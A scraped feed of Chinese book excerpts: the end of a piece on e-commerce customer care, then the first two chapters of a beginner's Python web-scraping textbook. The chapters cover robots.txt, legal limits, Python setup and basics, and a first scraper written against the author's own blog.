          值得注意的一点是,除了发货关怀、同城关怀、签收关怀以外,还有最重要的一项是使用关怀。绝大多数商家都只做前三项关怀,而忽略了使用关怀,但使用关怀恰是最能让顾客印象深刻的,客服应在顾客收到产品一周左右,询问顾客使用产品的感受,听取顾客的意见。不但能够让顾客认为商家注重客户体验,还能够了解到顾客的真实想法,从而改进商家的产品或服务。
          (2)情感关怀
          商家做CRM的目的是培养顾客的忠诚度与满意度,除了资金投入以外,还离不开感情投资。尽管很多时候商家会选择用软件替代人工关怀,但是顾客不喜欢对机器说话的感觉,而是更喜欢有感情、重细节的关怀方式。这就需要客服在与顾客沟通时更人性化,更注重顾客的情绪,而不是一味地使用快捷短语或自动回复。
          当到了顾客生日或有重要纪念日时,商家可以给顾客发送祝福短信,重要的顾客甚至可以寄上一份礼物。例如笔者结婚时拍摄婚纱照的那家影楼,会在每年笔者的结婚纪念日那天给笔者发送祝福信息,美好的祝福,总会让笔者回忆起新婚的幸福,更是记住了影楼的用心;当笔者怀孕时,首先想到的就是去这家影楼拍孕妇照系列;当宝宝出生百天时,又去该影楼拍摄宝宝照,并将其推荐给了身边有需要的朋友。小小的一条祝福短信,却产生了这样大的商业价值,这就是情感关怀的魅力。
          (3)节日关怀
          在节日来临时,客服通过短信或阿里旺旺向顾客传达关怀的意愿并适当推送促销信息,也会达到不错的效果。
          (4)促销推送
          当商家发布新品或进行店铺庆典、日常促销时,通常会提前给顾客发送优惠券或红包,客服应及时告知顾客相关的活动信息。但此类信息不宜频率太高、语言太直白,否则容易引起顾客的反感。据国际权威机构深入调查统计,把顾客的满意度提高5个点,企业的利润可增加5倍。所以,无论商家做任何的关怀行动,最终目的都是提高顾客的满意度,从而提升顾客忠诚度。客服在日常维护中,也要多关注顾客对产品或服务的“抱怨”,可询问顾客对此产品或服务的改进建议,同时也要花心思让核心顾客体会到温暖,不断地为顾客制造惊喜或感动,平时多跟顾客聊天、谈心,这样顾客才会有参与感和满足感,才更愿意与商家一起成长。
          客户维护不是一成不变的,也没有固定的开始时间节点。其实,当顾客第一眼看到你的店铺或商品时,客户维护工作就已经开始了。如何把顾客留下,让其愿意下单购买,并且在以后的日子里还愿意再次购买,或者介绍周围的人来买,都是客户维护工作做得好与坏的见证。客户关系管理的意义就在于,把顾客留在你的店内,为产品或服务买单。客户关系管理是一个持续而细致的工作,要通过长期对顾客行为特征、消费习惯的分析、整合,以数据为依据,以人性为核心,最终建立起适合商家自身的客户维护体系。

        ]]>
        带你读《Python网络爬虫从入门到实践(第2版)》之一:网络爬虫入门 Fri, 02 May 2025 09:39:04 +0800 点击查看第二章
        点击查看第三章
        Python网络爬虫从入门到实践(第2版)

        image.png

        唐 松 编著

        第1章

        网络爬虫入门
        网络爬虫就是自动地从互联网上获取程序。想必你听说过这个词汇,但是又不太了解,会觉得掌握网络爬虫还是要花一些工夫的,因此这个门槛让你有点望而却步。
        我常常觉得计算机和互联网的发明给人类带来了如此大的方便,让人们不用阅读说明书就能知道如何上手,但是偏偏编程的道路又是如此艰辛。因此,本书尽可能地做到浅显易懂,希望能够将网络爬虫学习的门槛降低,大家都能享受到使用网络爬虫编程的快乐。
        本书的第1章将介绍网络爬虫的基础部分,包括学习网络爬虫的原因、网络爬虫带来的价值、网络爬虫是否合法以及网络爬虫的基本议题和框架。让读者在开始学习爬虫之前理解为什么学习、要学什么内容。

        1.1 为什么要学网络爬虫

        在数据量爆发式增长的互联网时代,网站与用户的沟通本质上是数据的交换:搜索引擎从数据库中提取搜索结果,将其展现在用户面前;电商将产品的描述、价格展现在网站上,以供买家选择心仪的产品;社交媒体在用户生态圈的自我交互下产生大量文本、图片和视频数据等。这些数据如果得以分析利用,不仅能够帮助第一方企业(拥有这些数据的企业)做出更好的决策,对于第三方企业也是有益的。而网络爬虫技术,则是大数据分析领域的第一个环节。

        1.1.1 网络爬虫能带来什么好处

        大量企业和个人开始使用网络爬虫采集互联网的公开数据。那么对于企业而言,互联网上的公开数据能够带来什么好处呢?这里将用国内某家知名家电品牌举例说明。
        作为一个家电品牌,电商市场的重要性日益凸显。该品牌需要及时了解对手的产品特点、价格以及销量情况,才能及时跟进产品开发进度和营销策略,从而知己知彼,赢得竞争。过去,为了获取对手产品的特点,产品研发部门会手动访问一个个电商产品页面,人工复制并粘贴到Excel表格中,制作竞品分析报告。但是这种重复性的手动工作不仅浪费宝贵的时间,一不留神复制少了一个数字还会导致数据错误;此外,竞争对手的销量则是由某一家咨询公司提供报告,每周一次,但是报告缺乏实时性,难以针对快速多变的市场及时调整价格和营销策略。针对上述两个痛点——无法自动化和无法实时获取,本书介绍的网络爬虫技术都能够很好地解决,实现实时自动化获取数据。
        上面的例子仅为数据应用的冰山一角。近几年来,随着大数据分析的火热,毕竟有数据才能进行分析,网络爬虫技术已经成为大数据分析领域的第一个环节。
        对于这些公开数据的应用价值,我们可以使用KYC框架来理解,也就是Know Your Company(了解你的公司)、Know Your Competitor(了解你的竞争对手)、Know Your Customer(了解你的客户)。通过简单描述性分析,这些公开数据就可以带来很大的商业价值。进一步讲,通过深入的机器学习和数据挖掘,在营销领域可以帮助企业做好4P(Product:产品创新,Place:智能选址,Price:动态价格,Promotion:个性化营销活动);在金融领域,大数据征信、智能选股等应用会让公开数据带来越来越大的价值。

        1.1.2 能从网络上爬取什么数据

        简单来说,平时在浏览网站时,所有能见到的数据都可以通过爬虫程序保存下来。从社交媒体的每一条发帖到团购网站的价格及点评,再到招聘网站的招聘信息,这些数据都可以存储下来。

        1.1.3 应不应该学爬虫

        正在准备继续阅读本书的读者可能会问自己:我应不应该学爬虫?
        这也是我之前问自己的一个问题,作为一个本科是商学院的学生,面对着技术创新驱动变革的潮流,我还是自学了Python的网络爬虫技术,从此踏入了编程的世界。对于编程小白而言,入门网络爬虫并没有想象中那么困难,困难的是你有没有踏出第一步。
        我认为,对于任何一个与互联网有关的从业人员,无论是非技术的产品、运营或营销人员,还是前端、后端的程序员,都应该学习网络爬虫技术。
        一方面,网络爬虫简单易学、门槛很低。没有任何编程基础的人在认真看完本书的爬虫基础内容后,都能够自己完成简单的网络爬虫任务,从网站上自动获取需要的数据。
        另一方面,网络爬虫不仅能使你学会一项新的技术,还能让你在工作的时候节省大量的时间。如果你对网络爬虫的世界有兴趣,就算你不懂编程也不要担心,本书将会深入浅出地为你讲解网络爬虫。

        1.2 网络爬虫是否合法

        网络爬虫合法吗?
        网络爬虫领域目前还属于早期的拓荒阶段,虽然互联网世界已经通过自身的协议建立起一定的道德规范(Robots协议),但法律部分还在建立和完善中。从目前的情况来看,如果抓取的数据属于个人使用或科研范畴,基本不存在问题;而如果数据属于商业盈利范畴,就要就事而论,有可能属于违法行为,也有可能不违法。

        1.2.1 Robots协议

        Robots协议(爬虫协议)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。该协议是国际互联网界通行的道德规范,虽然没有写入法律,但是每一个爬虫都应该遵守这项协议。
        下面以淘宝网的robots.txt为例进行介绍。
        这里仅截取部分代码,查看完整代码可以访问https://www.taobao.com/robots.txt

        image.png

        在上面的robots文件中,淘宝网对用户代理为百度爬虫引擎进行了规定。
        以Allow项的值开头的URL是允许robot访问的。例如,Allow:/article允许百度爬虫引擎访问/article.htm、/article/12345.com等。
        以Disallow项为开头的链接是不允许百度爬虫引擎访问的。例如,Disallow:/product/不允许百度爬虫引擎访问/product/12345.com等。
        最后一行,Disallow:/禁止百度爬虫访问除了Allow规定页面外的其他所有页面。
        因此,当你在百度搜索“淘宝”的时候,搜索结果下方的小字会出现:“由于该网站的robots.txt文件存在限制指令(限制搜索引擎抓取),系统无法提供该页面的内容描述”,如图1-1所示。百度作为一个搜索引擎,良好地遵守了淘宝网的robot.txt协议,所以你是不能从百度上搜索到淘宝内部的产品信息的。

        image.png

        淘宝的Robots协议对谷歌爬虫的待遇则不一样,和百度爬虫不同的是,它允许谷歌爬虫爬取产品的页面Allow:/product。因此,当你在谷歌搜索“淘宝 iphone7”的时候,可以搜索到淘宝中的产品,如图1-2所示。

        image.png

        当你爬取网站数据时,无论是否仅供个人使用,都应该遵守Robots协议。

        1.2.2 网络爬虫的约束

        除了上述Robots协议之外,我们使用网络爬虫的时候还要对自己进行约束:过于快速或者频密的网络爬虫都会对服务器产生巨大的压力,网站可能封锁你的IP,甚至采取进一步的法律行动。因此,你需要约束自己的网络爬虫行为,将请求的速度限定在一个合理的范围之内。

        image.png

        实际上,由于网络爬虫获取的数据带来了巨大的价值,网络爬虫逐渐演变成一场网站方与爬虫方的战争,你的矛长一寸,我的盾便厚一寸。在携程技术微分享上,携程酒店研发部研发经理崔广宇分享过一个“三月爬虫”的故事,也就是每年的三月份会迎来一个爬虫高峰期。因为有大量的大学生五月份交论文,在写论文的时候会选择爬取数据,也就是三月份爬取数据,四月份分析数据,五月份交论文。
        因此,各大互联网巨头也已经开始调集资源来限制爬虫,保护用户的流量和减少有价值数据的流失。
        2007年,爱帮网利用垂直搜索技术获取了大众点评网上的商户简介和消费者点评,并且直接大量使用。大众点评网多次要求爱帮网停止使用这些内容,而爱帮网以自己是使用垂直搜索获得的数据为由,拒绝停止抓取大众点评网上的内容,并且质疑大众点评网对这些内容所享有的著作权。为此,双方开打了两场官司。2011年1月,北京海淀法院做出判决:爱帮网侵犯大众点评网著作权成立,应当停止侵权并赔偿大众点评网经济损失和诉讼必要支出。
        2013年10月,百度诉360违反Robots协议。百度方面认为,360违反了Robots协议,擅自抓取、复制百度网站内容并生成快照向用户提供。2014年8月7日,北京市第一中级人民法院做出一审判决,法院认为被告奇虎360的行为违反了《反不正当竞争法》相关规定,应赔偿原告百度公司70万元。
        虽然说大众点评上的点评数据、百度知道的问答由用户创建而非企业,但是搭建平台需要投入运营、技术和人力成本,所以平台拥有对数据的所有权、使用权和分发权。
        以上两起败诉告诉我们,在爬取网站的时候需要限制自己的爬虫,遵守Robots协议和约束网络爬虫程序的速度;在使用数据的时候必须遵守网站的知识产权。如果违反了这些规定,很可能会吃官司,并且败诉的概率相当高。

        1.3 网络爬虫的基本议题

        对于网络爬虫技术的学习,其他教学很少有从整体结构来说的,多数是直接放出某部分代码。这样的方法会使初学者摸不着头脑:就好像是盲人摸象,有人摸到的是象腿,以为是一根大柱子;有人摸到的是大象耳朵,以为是一把大蒲扇等。因此,在开始第一个爬虫之前,本书先从宏观角度出发说清楚两个问题:

        • Python爬虫的流程是怎样的?
        • 三个流程的技术实现是什么?

        值得说明的是,本书选择了Python 3作为开发语言,现在Python最新版为Python 3.7。熟悉Python 2的读者可以在本书代码的基础上稍加改动,用Python 2运行。值得注意的是,Python 2即将在2020年1月1日停止支持,因此建议初学者直接安装Python 3进行学习。
        由于本书的潜在读者多数使用Windows操作系统,因此本书大部分实例都是基于Windows编写和运行的。如果使用的是Linux和Mac OS操作系统,在搭建好Python平台之后也可以直接运行本书中的代码。

        1.3.1 Python爬虫的流程

        网络爬虫的流程其实非常简单,主要可以分为三部分:(1)获取网页;(2)解析网页(提取数据);(3)存储数据。

        image.png

        (1)获取网页就是给一个网址发送请求,该网址会返回整个网页的数据。类似于在浏览器中键入网址并按回车键,然后可以看到网站的整个页面。
        (2)解析网页就是从整个网页的数据中提取想要的数据。类似于你在页面中想找到产品的价格,价格就是你要提取的数据。
        (3)存储数据也很容易理解,就是把数据存储下来。我们可以存储在csv中,也可以存储在数据库中。

        1.3.2 三个流程的技术实现

        下面列出三个流程的技术实现,括号里是对应的章节。
        1. 获取网页
        获取网页的基础技术:requests、urllib和selenium(3&4)。
        获取网页的进阶技术:多进程多线程抓取(8)、登录抓取(12)、突破IP封禁(9)和使用服务器抓取(12)。
        2. 解析网页
        解析网页的基础技术:re正则表达式、BeautifulSoup和lxml(5)。
        解析网页的进阶技术:解决中文乱码(10)。
        3. 存储数据
        存储数据的基础技术:存入txt文件和存入csv文件(6)。
        存储数据的进阶技术:存入MySQL数据库和MongoDB数据库(6)。
        除此之外,第7章介绍Scrapy爬虫框架,第13章也会介绍分布式爬虫。
        本书的使用方法:第1章到第7章是网络爬虫的基础,建议大家按顺序读;第8章到第13章是进阶部分,大家可以选择自己感兴趣的内容跳跃阅读。之后可以阅读第14章到第17章,通过项目实践消化和吸收Python爬虫的知识。
        如果对于上述技术不熟悉的读者也不必担心,本书将会对其中的技术进行讲解,力求做到深入浅出。

        ]]>
        带你读《Python网络爬虫从入门到实践(第2版)》之二:编写第一个网络爬虫 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        编写第一个网络爬虫
        笔者是一个喜欢学习的人,自学了各方面的知识,总结发现:学习的动力来自于兴趣,兴趣则来自于动手做出成果的快乐。因此,笔者特意将动手的乐趣提前。在第2章,读者就可以体会到通过完成一个简单的Python网络爬虫而带来的乐趣。希望这份喜悦能让你继续学习本书的其他内容。
        本章主要介绍如何安装Python和编辑器Jupyter、Python的一些基础语法以及编写一个最简单的Python网络爬虫。

        2.1 搭建Python平台

        Python是一种计算机程序语言,由于其简洁性、易学性和可扩展性,已成为最受欢迎的程序语言之一。在2016年最受欢迎的编程语言中,Python已经超过C++排名第3位。另外,由于Python拥有强大而丰富的库,因此可以用来处理各种工作。
        在网络爬虫领域,由于Python简单易学,又有丰富的库可以很好地完成工作,因此很多人选择Python进行网络爬虫。

        2.1.1 Python的安装

        Python的安装主要有两种方式:一是直接下载Python安装包安装,二是使用Anaconda科学计算环境下载Python。
        根据笔者的经验,这两种方式也对应着用Python来爬虫的两类人群:如果你希望成为Python开发人员或者爬虫工程师,笔者推荐你直接下载Python安装包,配合着Pycharm编辑器,这将提升你的开发效率;如果你希望成为数据分析师或者商业分析师,爬虫只是方便之后做数据分析,笔者推荐你使用Anaconda,配合着自带的Jupyter Notebook,这会提升你的分析效率。
        由于网络爬虫需要较多的代码调试,因此我推荐初学者使用Anaconda。因为Anaconda除了包含了Python安装包,还提供了众多科学计算的第三方库,如Numpy、Scipy、Pandas和Matplotlib等,以及机器学习库,如Scikit-Learn等。而且它并不妨碍你之后使用Pycharm开发。
        请读者选择一种下载,不要两种都用,不然会带来Python版本管理的混乱。
        第一种方法:Anaconda的安装十分简单,只需两步即可完成。下面将介绍在Windows下安装Anaconda的步骤,在Mac下的安装方法与此类似。

        步骤一:下载Anaconda。打开Anaconda官方网站下载页面https://www.anaconda. com/download/,下载最新版的Anaconda。如果在国内访问,推荐使用清华大学的镜像https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ 。如图2-1所示。

        image.png

        步骤二:安装Anaconda。双击打开Anaconda安装文件,就像安装普通软件一样,直接单击Install安装即可。注意,在图2-2所示的对话框中勾选第一个和第二个复选框。按照提示操作后,安装即可。

        image.png

        第二种方法:使用Python安装包方法也非常简单。下面将介绍在Windows下安装的步骤,在Mac下的安装方法类似。
        步骤一:下载Python。打开Python下载页面https://www.python.org/downloads/ ,下载最新版的Python,如图2-3所示。

        image.png

        步骤二:安装Python。双击打开Python安装文件,选择 Add Python 3.7 to PATH,之后单击InstallNow安装即可。

        image.png

        2.1.2 使用pip安装第三方库

        pip是Python安装各种第三方库(package)的工具。
        对于第三方库不太理解的读者,可以将库理解为供用户调用的代码组合。在安装某个库之后,可以直接调用其中的功能,使得我们不用自己写代码也能实现某个功能。这就像你为计算机杀毒时,会选择下载一个杀毒软件,而不是自己写一个杀毒软件,直接使用杀毒软件中的杀毒功能来杀毒就可以了。这个比方中的杀毒软件就像是第三方库,杀毒功能就是第三方库中可以实现的功能,你可以调用第三方库实现某个功能。
        由于Anaconda或者Python安装包自带了pip,因此不用再安装pip。
        在下面的例子中,我们将介绍如何用pip安装第三方库bs4,它可以使用其中的BeautifulSoup解析网页。
        步骤一:打开cmd.exe,在Windows中为cmd,在Mac中为terminal。在Windows中,cmd是命令提示符,输入一些命令后,cmd.exe可以执行对系统的管理。单击“开始”按钮,在“搜索程序和文件”文本框中输入cmd后按回车键,系统会打开命令提示符窗口,如图2-5所示。在Mac中,可以直接在“应用程序”中打开terminal程序。

        image.png

        步骤二:安装bs4的Python库。在cmd中键入pip install bs4后按回车键,如果出现successfully installed,就表示安装成功,如图2-6所示。

        image.png

        除了bs4这个库,之后还会用到requests库、lxml库等其他第三方库,帮助我们更好地进行网络爬虫。正因为这些第三方库的存在,才使得Python在爬虫领域越来越方便、越来越活跃。

        2.1.3 使用编辑器Jupyter 编程

        如果你使用Anaconda安装的Python,那么可以使用Anaconda自带的Jupyter Notebook编程;如果你使用Python安装包下载的Python,下一节会介绍Pycharm的安装方法。为了方便大家学习和调试代码,本书推荐使用Anaconda自带的Jupyter Notebook。下面将介绍Jupyter Notebook的使用方法。
        步骤一:通过cmd打开Jupyter。打开cmd,键入jupyter notebook后按回车键,浏览器启动Jupyter界面,地址默认为http://localhost:8888/tree ,如图2-7所示。

        image.png

        步骤二:创建Python文件。这时浏览器会开启一个页面,在页面中选择想创建文件的文件夹,单击右上角的New按钮,从下拉列表中选择Python 3作为希望启动的Notebook类型,如图2-8所示。

        image.png

        步骤三:在新创建的文件中编写Python程序。键入print('hello world!')后,可以按Shift + Enter快捷键执行刚刚的代码,结果如图2-9所示。

        image.png

        为什么本书使用Jupyter Notebook学习和编写Python脚本呢?
        首先,Jupyter Notebook的交互式编程可以分段运行Python,对于网络爬虫这种分阶段(获取网页-解析网页-存储数据)运行的脚本来说,在写代码和测试阶段可以边看边写,可以加快调试代码的速度,非常适合debug(代码纠错)。
        其次是展示,Jupyter Notebook能够把运行和输出的结果保存下来,下次打开这个Notebook时也可以看到之前运行的结果。除了可以编写代码外,Jupyter还可以添加各种元素,比如图片、视频、链接等,同时还支持Markdown。
        在完成代码之后,还可以在Jupyter左上角点击File > Download as > Python,下载为.py文件,就可以放到其他编辑器里运行了。
        如果你对Python的其他自定义功能有要求的话,推荐下载Jupyter的插件nbextensions。具体指引可以到笔者知乎或本书官网www.santostang.com 了解。

        2.1.4 使用编辑器Pycharm编程

        如果你使用Python安装包下载的Python,推荐选择Pycharm编辑器。
        步骤一:下载Pycharm。打开Pycharm下载页面https://www.jetbrains.com/ pycharm/download ,下载Community版本,如图2-10所示。

        image.png

        步骤二:安装Pycharm。双击打开Pycharm安装文件,根据自己电脑选择32bit还是64bit,记得在Create Associations勾选 .py,安装即可,如图2-11所示。

        image.png

        步骤三:打开Pycharm。在开始页面,选择自己喜欢的主题,如图2-12所示。

        image.png

        步骤三:随后点击Create New Project创建一个新的项目,如图2-13所示。

        image.png

        步骤三: 选择好存储项目的位置,这里我给项目起的名称是“WebScraping”,你可以按照自己的需求存放项目地址,如图2-14所示。

        image.png

        步骤三:进入Pycharm页面后,会看到如下页面。这时,点击File > New > Python File,并填上python文件名,例如“test”。创建完test.py文件后,打开test.py,键入print('hello world!')。选中代码,右键选择 Run ‘test’,即可得到结果,如图2-15所示。

        image.png

        2.2 Python 使用入门

        本节主要介绍Python的一些基础语法。如果你已经学会使用Python,可以跳过这一节,直接开始编写第一个Python网络爬虫。

        2.2.1 基本命令

        Python是一种非常简单的语言,最简单的就是print,使用print可以打印出一系列结果。例如,键入print("Hello World!"),打印的结果如下(同图2-9):

        image.png

        Hello World!
        另外,Python要求严格的代码缩进,以Tab键或者4个空格进行缩进,代码要按照结构严格缩进,例如:

        image.png

        Hello World!
        如果需要注释某行代码,那么可以在代码前面加上“#”,例如:
        In [3]:# 在前面加上#,代表注释
        print ("Hello World!")
        Hello World!

        2.2.2 数据类型

        Python是面向对象(object oriented)的一种语言,并不需要在使用之前声明需要使用的变量和类别。下面将介绍Python的4种数据类型。
        1. 字符串(string)
        字符串是常见的数据类型,一般用来存储类似“句子”的数据,并放在单引号(')或双引号(")中。如果要连接字符串,那么可以简单地加起来。

        image.png

        Python Web Scraping by Santos
        如果字符串包含单引号(')和双引号("),应该怎么办?可以在前面加上右斜杠(),例如以下案例:

        image.png

        I'm Santos. I love "python".
        2. 数字(Number)
        数字用来存储数值,包含两种常用的数字类型:整数(int)和浮点数(float),其中浮点数由整数和小数部分组成。两种类型之间可以相互转换,如果要将整数转换为浮点数,就在变量前加上float;如果要将浮点数转换为整数,就在变量前加上int,例如:

        image.png

        7
        还有其他两种复杂的数据类型,即长整数和复数,由于不常用到,感兴趣的读者可以自己学习。
        3. 列表(list)
        如果需要把上述字符串和数字囊括起来,就可以使用列表。列表能够包含任意种类的数据类型和任意数量。创建列表非常容易,只要把不同的变量放入方括号中,并用逗号分隔即可,例如:

        image.png

        怎么访问列表中的值呢?可以在方括号中标明相应的位置索引进行访问,与一般认知不一样的是,索引从0开始,例如:

        image.png

        list1[0]: Python
        list2[1:3]: [2, 3]


        如何修改列表中的值呢?可以直接为列表中的相应位置赋予一个新值,例如:

        image.png

        ['Python', 'new', 'Scrappy']
        如果想要给列表添加值呢?可以用append()方法,例如:

        image.png

        ['Python', 'new', 'Scrappy', 'by Santos']
        4. 字典(Dictionaries)
        字典是一种可变容器模型,正如其名,字典含有“字”(直译为键值,key)和值(value),使用字典就像是自己创建一个字典和查字典的过程。每个存储的值都对应着一个键值key,key必须唯一,但是值不需要唯一。值也可以取任何数据类型,例如:

        image.png

        Alex
        {'Name': 'Alex', 'Age': 7, 'Class': 'First'}
        如何遍历访问字典中的每一个值呢?这里需要用到字典和循环的结合,例如:

        image.png

        Name Alex
        Age 7
        Class First
        如果想修改字典中的值或者加入新的键值呢?可以直接修改和加入,例如:

        image.png

        {'Name': 'Tom', 'Age': 7, 'Class': 'First', 'Gender':'M'}

        2.2.3 条件语句和循环语句

        条件语句可以使得当满足条件的时候才执行某部分代码。条件为布尔值,也就是只有True和False两个值。当if判断条件成立时才执行后面的语句;当条件不成立的时候,执行else后面的语句,例如:

        image.png
        image.png

        You are studying python.
        如果需要判断的有多种条件,就需要用到elif,例如:

        image.png

        You are studying java.
        Python的条件语句注意不要少了冒号(:)。
        循环语句能让我们执行一个代码片段多次,循环分为for循环和while循环。
        for循环能在一个给定的顺序下重复执行,例如:

        image.png

        Beijing
        Shanghai
        Guangzhou
        除了对列表进行直接循环,有时我们还会使用range()进行循环,首先用len(citylist)得到列表的长度为3,然后range(3)会输出列表[0,1,2],从而实现循环,得到和上面一样的结果。例如:

        image.png

        Beijing
        Shanghai
        Guangzhou
        while循环能不断重复执行,只要能满足一定条件,例如:

        image.png

        0
        1
        2

        2.2.4 函数

        在代码很少的时候,我们按照逻辑写完就能够很好地运行。但是如果代码变得庞大复杂起来,就需要自己定义一些函数(Functions),把代码切分成一个个方块,使得代码易读,可以重复使用,并且容易调整顺序。
        其实Python就自带了很多函数,例如下面的sum()和abs()函数,我们可以直接调用。

        image.png

        10
        1
        此外,我们也可以自己定义函数。一个函数包括输入参数和输出参数,Python的函数功能可以用y = x +1的数学函数来理解,在输入x=2的参数时,y输出3。但是在实际情况中,某些函数输入和输出参数可以不用指明。下面定义一个函数:

        image.png

        3
        参数必须要正确地写入函数中,函数的参数也可以为多个,也可以是不同的数据类型,例如可以是两个参数,分别是字符串和列表型的。

        image.png

        apple banana orange

        2.2.5 面向对象编程

        在介绍面向对象编程之前先说明面向过程编程。面向过程编程的意思是根据业务逻辑从上到下写代码,这个容易被初学者接受,按照逻辑需要用到哪段代码写下来即可。
        随着时间的推移,在编程的方式上又发展出了函数式编程,把某些功能封装到函数中,需要用时可以直接调用,不用重复撰写。这也是上面提到的函数式编程,函数式的编程方法好处是节省了大量时间。
        接下来,又出现了面向对象编程。面向对象编程是把函数进行分类和封装后放入对象中,使得开发更快、更强。例如:

        image.png

        santos
        18
        看到这里,也许你有疑问,要实现上述代码的结果,使用函数式编程不是比面向对象编程更简单吗?例如,如果我们使用函数式编程,可以写成:

        image.png

        santos
        18
        此处确实是函数式编程更容易。使用函数式编程,我们只需要写清楚输入和输出变量并执行函数即可;而使用面向对象的编程方法,首先要创建封装对象,然后还要通过对象调用被封装的内容,岂不是很麻烦?
        但是,在某些应用场景下,面向对象编程能够显示出更大的优势。
        如何选择函数式编程和面向对象编程呢?可以这样进行选择,如果各个函数之间独立且无共用的数据,就选用函数式编程;如果各个函数之间有一定的关联性,那么选用面向对象编程比较好。
        下面简单介绍面向对象的两大特性:封装和继承。
        1. 封装
        封装,顾名思义就是把内容封装好,再调用封装好的内容。封装分为两步:
        第一步为封装内容。
        第二步为调用被封装的内容。
        (1)封装内容
        下面为封装内容的示例。

        image.png

        self在这里只是一个形式参数,当执行obj1 = Person('santos', 18 )时,self等于obj1,此处将santos和18分别封装到obj1及self的name和age属性中。结果是obj1有name和age属性,其中name="santos",age=18。
        (2)调用被封装的内容
        调用被封装的内容时有两种方式:通过对象直接调用和通过self间接调用。
        通过对象直接调用obj1对象的name和age属性,代码如下:

        image.png

        santos
        18
        通过self间接调用时,Python默认会将obj1传给self参数,即obj1.detail(obj1)。此时方法内部的self = obj1,即self.name='santos',self.age =18,代码如下:

        image.png

        santos
        18
        上述例子定义了一个Person的类。在这个类中,可以通过各种函数定义Person的各种行为和特性,要让代码显得更加清晰有效,就要在调用Person类各种行为的时候也可以随时提取。这比仅使用函数式编程更加方便。
        面对对象的编程方法不会像平时按照执行流程去思考,在这个例子中,是把Person这个类型视为一个对象,它拥有name和age两个属性,在调用过程中,让自己把自己打印出来。
        综上所述,对于面向对象的封装来说,其实就是使用构造方法将内容封装到对象中,然后通过对象直接或self间接获取被封装的内容。
        2. 继承
        继承是以普通的类为基础建立专门的类对象。面向对象编程的继承和现实中的继承类似,子继承了父的某些特性,例如:
        猫可以:喵喵叫、吃、喝、拉、撒
        狗可以:汪汪叫、吃、喝、拉、撒
        如果我们要分别为猫和狗创建一个类,就需要为猫和狗实现他们所有的功能,代码如下,这里为伪代码,无法在python执行:

        image.png

        从上述代码不难看出,吃、喝、拉、撒是猫狗共同的特性,我们没有必要在代码中重复编写。如果用继承的思想,就可以写成:
        动物:吃喝拉撒
        猫:喵喵叫(猫继承动物的功能)
        狗:汪汪叫(狗继承动物的功能)

        image.png
        image.png

        小白家的小黑猫 吃
        喵喵叫
        胖子家的小瘦狗 吃
        汪汪叫
        对于继承来说,其实就是将多个类共有的方法提取到父类中,子类继承父类中的方法即可,不必一一实现每个方法。

        2.2.6 错误处理

        在编程过程中,我们不免会遇到写出来的程序运行错误,所以程序员经常戏称自己是在“写bug(错误)而非写程序”。这些错误一般来说会使得整个程序停止运行,但是在Python中,我们可以用try/except语句来捕获异常。
        try/except使用try来检测语句块中的错误,如果有错误的话,except则会执行捕获异常信息并处理。以下是一个实例:

        image.png

        division by zero
        上述代码首先执行try里面的语句,除以0产生运算错误后,会执行except里的语句,将错误打印出来。在网络爬虫中,它可以帮我们处理一些无法获取到数据报错的情况。
        此外,如果我们并不想打印错误,就可以用pass空语句。

        image.png

        2.3 编写第一个简单的爬虫

        当了解了Python的基础语法后,就算你是编程小白,也可以轻松爬取一些网站了。
        为了方便大家练习Python网络爬虫,笔者专门搭建了一个博客网站用于爬虫的教学,本书教学部分的爬虫全部基于爬取笔者的个人博客网站(www.santostang.com )。一方面,由于这个网站的设计和框架不会更改,因此本书的网络爬虫代码可以一直使用;另一方面,由于这个网站由笔者拥有,因此避免了一些法律上的风险。
        下面以爬取笔者的个人博客网站为例获取第一篇文章的标题名称,教大家学会一个简单的爬虫。

        2.3.1 第一步:获取页面

        image.png
        image.png

        上述代码就能获取博客首页的HTML代码,HTML是用来描述网页的一种语言,也就是说网页呈现的内容背后都是HTML代码。如果你对HTML不熟悉的话,可以先去w3school (http://www.w3school.com.cn/html/index.asp ) 学习一下,大概花上几个小时就可以了解HTML。
        在上述代码中,首先import requests引入包requests,之后获取网页。
        (1)首先定义link为目标网页地址。
        (2)之后用headers来定义请求头的浏览器代理,进行伪装。
        (3)r是requests的Response回复对象,我们从中可以获取想要的信息。r.text是获取的网页内容代码。
        运行上述代码得到的结果如图2-16所示。

        image.png

        2.3.2 第二步:提取需要的数据

        image.png
        image.png

        在获取整个页面的HTML代码后,我们需要从整个网页中提取第一篇文章的标题。
        这里用到BeautifulSoup这个库对页面进行解析,BeautifulSoup将会在第4章进行详细讲解。首先需要导入这个库,然后把HTML代码转化为soup对象,接下来用soup.find("h1", class_="post-title").a.text.strip()得到第一篇文章的标题,并且打印出来。
        soup.find("h1", class_="post-title").a.text.strip()的意思是,找到第一篇文章标题,定位到class是"post-title"的h1元素,提取a元素,提取a元素里面的字符串,strip()去除左右空格。
        对初学者来说,使用BeautifulSoup从网页中提取需要的数据更加简单易用。
        那么,我们怎么从那么长的代码中准确找到标题的位置呢?
        这里就要隆重介绍Chrome浏览器的“检查(审查元素)”功能了。下面介绍找到需要元素的步骤。
        步骤一:使用Chrome浏览器打开博客首页www.santostang.com 。右击网页页面,在弹出的快捷菜单中单击“检查”命令,如图2-17所示。

        image.png

        步骤二:出现如图2-18所示的审查元素页面。单击左上角的鼠标键按钮,然后在页面上单击想要的数据,下面的Elements会出现相应的code所在的地方,就定位到想要的元素了。

        image.png

        步骤三:在代码中找到标蓝色的地方,为image.png学习笔记(2) – 同一页面多图表。我们可以用soup.find("h1", class_="post-title").a.text.strip()提取该博文的标题。

        2.3.3 第三步:存储数据

        image.png

        存储到本地的txt文件非常简单,在第二步的基础上加上2行代码就可以把这个字符串保存在text中,并存储到本地。txt文件地址应该和你的Python文件放在同一个文件夹。
        返回文件夹,打开title.txt文件,其中的内容如图2-19所示。

        image.png

        2.4 Python实践:基础巩固

        学习完基础知识,做完第一个爬虫例子后,是不是觉得网络爬虫并没有想象中那么难呢?本书的目标就是希望你可以快速上手Python和爬虫,然后在后面的实战中学习。但是Python爬虫入门简单,一步步深入学习后,你会发现坑越来越多。只有认真阅读、反复练习,才能熟能生巧。
